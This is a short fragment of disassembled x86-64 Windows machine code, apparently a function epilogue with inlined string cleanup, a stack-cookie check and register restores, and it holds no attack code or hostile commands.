jb 0x140028e3f
inc rdx
mov rcx, qword [rbp + 0x2c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028e3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028e3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp + 0x2d8], rsi
mov qword [rbp + 0x2e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2c8], 0
mov rdx, qword [rbp + 0x2c0]
cmp rdx, 0x10
jb 0x140028e9d
inc rdx
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028e97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028e97
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
nop
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 0x10
jb 0x140028ee1
inc rdx
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028edc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028edc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp + 0x1c8], rsi
mov qword [rbp + 0x1d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1b8], 0
mov rdx, qword [rbp + 0x268]
cmp rdx, 0x10
jb 0x140028f3f
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028f39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028f39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
nop
mov rax, qword [rbp + 0x290]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x998]
mov qword [rcx], rax
xor eax, eax
mov rcx, qword [rbp + 0x930]
xor rcx, rsp
call fcn.140097730
lea r11, [rsp + 0xa70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret